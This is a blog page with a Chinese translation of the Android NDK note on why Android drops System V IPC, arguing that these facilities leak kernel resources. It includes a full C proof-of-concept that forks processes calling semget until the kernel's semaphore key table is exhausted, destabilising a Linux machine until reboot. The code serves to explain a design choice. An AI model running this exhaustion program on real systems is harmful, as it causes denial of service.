- 浏览: 561081 次
- 性别:
- 来自: 广州
文章分类
- 全部博客 (338)
- 已过时文章(留念用) (39)
- Android学习笔记 (30)
- Android开发指引自译 (100)
- Android NDK文档自译 (23)
- Android设计指引自译 (2)
- xp(ペケピー)&linux(理奈、铃)酱~ (4)
- ui酱&歌词自译~ (9)
- lua酱~ (9)
- 自我反省 (1)
- 羽game计划 (1)
- XSL酱 (2)
- java酱 (3)
- 设计的领悟 (58)
- 涂鸦作品(pixiv) (1)
- ruby酱 (2)
- Objective-C编程语言自译 (2)
- Android开发月报 (6)
- objc酱 (2)
- photoshop (3)
- js酱 (6)
- cpp酱 (8)
- antlr酱 (7)
- Lua 5.1参考手册自译 (11)
- 收藏品 (3)
- 待宵草计划 (4)
- 体验版截图 (1)
最新评论
-
naruto60:
太给力了!!!!我这网打不开Intel官网,多亏楼主贴了连接, ...
使用HAXM加速的Android x86模拟器(和一些问题) -
yangyile2011:
谢谢博主,翻译得很好哦
【翻译】(4)片段 -
ggwang:
牙痛的彼岸:痹!
牙痛的彼岸 -
ggwang:
总结得很简练清晰啊,学习了!
ANTLR学习笔记一:概念理解 -
leisurelife1990:
mk sdd
用git下载Android自带app的源代码
-----------------
英文文档见android-ndk-r6b的documentation.html
属于Android Native Development Kit (NDK)的一部分
见
http://developer.android.com/sdk/ndk/index.html
翻译仅个人见解
-----------------
Android does not support System V IPCs, i.e. the facilities provided by the following standard Posix headers:
Android不支持系统五进程间通信。即以下标准Posix头文件提供的工具:(注:Posix是Unix可移植操作系统接口的简称,是一种操作系统的API标准,但不限于Unix)
<sys/sem.h> /* SysV semaphores 系统五信号量*/
<sys/shm.h> /* SysV shared memory segments 系统五内存段*/
<sys/msg.h> /* SysV message queues 系统五消息队列*/
<sys/ipc.h> /* General IPC definitions 通用进程间通信定义*/
The reason for this is due to the fact that, by design, they lead to global kernel resource leakage.
之所以要这样做,是因为这样的事实,设计上它们会导致全局内核资源泄漏。
For example, there is no way to automatically release a SysV semaphore allocated in the kernel when:
例如,没有一种方法自动地释放在内核中分配的系统五信号量,当:
- a buggy or malicious process exits
- 一个有缺陷或恶意的进程存在。
- a non-buggy and non-malicious process crashes or is explicitly killed.
- 一个无缺陷且无恶意的进程崩溃或显式地被杀掉。
Killing processes automatically to make room for new ones is an important part of Android's application lifecycle implementation. This means that, even assuming only non-buggy and non-malicious code, it is very likely that over time, the kernel global tables used to implement SysV IPCs will fill up.
自动杀掉进程以腾出空间给新的进程,是Android应用程序生命周期实现的重要部分。这意味着,即便假设只有无缺陷且无恶意的代码,还是非常可能在不久后,用于实现系统五IPC的内核全局表将被填满。
At that point, strange failures are likely to occur and prevent programs that use them to run properly until the next reboot of the system.
到那时,奇怪的失败有可能会发生,并且阻止使用它们的程序正常运行,直至下一次系统重启。
And we can't ignore potential malicious applications. As a proof of concept here is a simple exploit that you can run on a standard Linux box today:
而且,我们不可以忽略潜在的恶意应用程序。作为这个观点的证明,这里有一个简单的漏洞(注:这里应该理解为漏洞或溢出攻击),如今你可以运行它在一个标准Linux机器里:
--------------- cut here ------------------------
#include <sys/sem.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#define NUM_SEMAPHORES 32
#define MAX_FAILS 10
int main(void)
{
int counter = 0;
int fails = 0;
if (counter == IPC_PRIVATE)
counter++;
printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
for (;;) {
int ret = fork();
int status;
if (ret < 0) {
perror("fork:");
break;
}
if (ret == 0) {
/* in the child 在子进程中*/
ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
if (ret < 0) {
return errno;
}
return 0;
}
else {
/* in the parent 在父进程中*/
ret = wait(&status); //注:等待,直至其中一个子进程退出
if (ret < 0) {
perror("waitpid:");
break;
}
if (status != 0) {
status = WEXITSTATUS(status);
fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
counter, status);
if (++fails >= MAX_FAILS)
break;
}
}
counter++;
if ((counter % 1000) == 0) {
printf("%d\n", counter);
}
if (counter == IPC_PRIVATE)
counter++;
}
return 0;
}
--------------- cut here ------------------------
If you run it on a typical Linux distribution today, you'll discover that it will quickly fill up the kernel's table of unique key_t values, and that strange things will happen in some parts of the system, but not all.
今时今日如果你在一个典型的Linux分发版上运行这个程序,你将发现它很快用唯一的key_t值占满内核表,而且将会在系统的某些部分发生奇怪的事情,但不是全部。
(You can use the "ipcs -u" command to get a summary describing the kernel tables and their allocations)
(你可以使用ipcs -u命令获取一个描述内核表及其分配的概要)
(注:ipcs用于提供IPC设施的状态信息,-u表示summary,我在ubuntu上得到的有共享内存,信号量,消息三项)
For example, in our experience, anything program launched after that that calls strerror() will simply crash. The USB sub-system starts spoutting weird errors to the system console, etc...
例如,以我们的经验看,在发生这种泄漏之后,程序所做的任何事情,一旦其中调用了strerror()就会简单地崩溃。USB子系统开始不断输出奇怪的错误到系统控制台,等等……
发表评论
-
【翻译】(25)ANDROID ATOMICS OPERATIONS
2012-02-21 10:22 1716----------------- 英文 ... -
【翻译】(21)Licenses
2011-11-13 21:11 922----------------- 英文文档见android ... -
【翻译】(19)Bionic Changes
2011-11-13 21:08 2479----------------- 英文文档见android ... -
【翻译】(16)Bionic Overview
2011-09-09 23:27 2231----------------- 英文文档见android ... -
【翻译】(20)System Issues
2011-09-08 18:22 1065----------------- 英文文档见andr ... -
【翻译】(24)Native Activity
2011-09-08 08:53 1498----------------- 英文文档见android ... -
【翻译】(23)NDK Stack
2011-09-07 16:45 2510----------------- 英文文档见android ... -
【翻译】(22)CPU X86
2011-09-07 15:52 1054----------------- 英文文档见android ... -
【翻译】(15)Standalone Toolchain
2011-04-26 17:05 1532----------------- 英文文档 ... -
【翻译】(14)Stable APIs
2011-04-26 17:04 1521----------------- 英文文档见android ... -
【翻译】(13)Prebuilts
2011-04-26 17:03 1157----------------- 英文文档见android ... -
【翻译】(12)NDK GDB
2011-04-26 17:00 1428----------------- 英文文档 ... -
【翻译】(11)NDK Build
2011-04-26 16:58 1554----------------- 英文文档 ... -
【翻译】(10)Import Module
2011-04-26 16:54 1471----------------- 英文文档见android ... -
【翻译】(9)CPU Features
2011-04-26 16:52 1487----------------- 英文文档见android ... -
【翻译】(8)CPU ARM Neon
2011-04-26 16:50 1517----------------- 英文文档见android ... -
【翻译】(7)CPU Arch ABIs
2011-04-26 16:48 1225----------------- 英文文档见android ... -
【翻译】(6)Application.mk File
2011-04-26 16:46 1395----------------- 英文文档 ... -
【翻译】(5)Android.mk File
2011-04-26 16:45 1285----------------- 英文文档见android ... -
【翻译】(4)How To
2011-04-26 16:43 960----------------- 英文文档见android ...
相关推荐
官方离线安装包,测试可用。使用rpm -ivh [rpm完整包名] 进行安装
官方离线安装包,亲测可用。使用rpm -ivh [rpm完整包名] 进行安装
官方离线安装包,亲测可用。使用rpm -ivh [rpm完整包名] 进行安装
官方离线安装包,亲测可用。使用rpm -ivh [rpm完整包名] 进行安装
离线安装包,亲测可用
linux 进程间通信 系统调用 sharememory 实现 。(此为博客http://blog.csdn.net/shallnet 文章对应源码下载)
Linux操作系统SYSV进程间通信.pptx
SYSV进程间通信.pptx
离线安装包,亲测可用
10-6Linux操作系统 - SYSV进程间通信.pptx
官方离线安装包,亲测可用
linux 进程间通信 system V 消息队列 实现 。(此为博客http://blog.csdn.net/shallnet 文章对应源码下载)
官方离线安装包,亲测可用。使用rpm -ivh [rpm完整包名] 进行安装
去包装SysV消息队列 sysv_mq是的Go包装器。 使用该库之前,请务必阅读 , 和的这一点很重要。 sysv_mq是一个非常轻巧的包装器,不会对您隐藏任何错误。 可以在上查看公共API的文档。 sysv_mq已在Linux和OS X上进行了...
ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked
官方离线安装包,测试可用。使用rpm -ivh [rpm完整包名] 进行安装
官方离线安装包,测试可用。使用rpm -ivh [rpm完整包名] 进行安装
官方离线安装包,测试可用。使用rpm -ivh [rpm完整包名] 进行安装
官方离线安装包,测试可用。使用rpm -ivh [rpm完整包名] 进行安装
atcacl:Atcacl是脚本和c包装程序的集合,这些脚本和c包装程序有助于使从用户区更轻松地消失在IP区的迷雾中。 一旦设置好,命令是: dhcp0,dhcp1,idown,torstart和torstop。 dhcp0和dhcp1断开eth0和eth1接口的...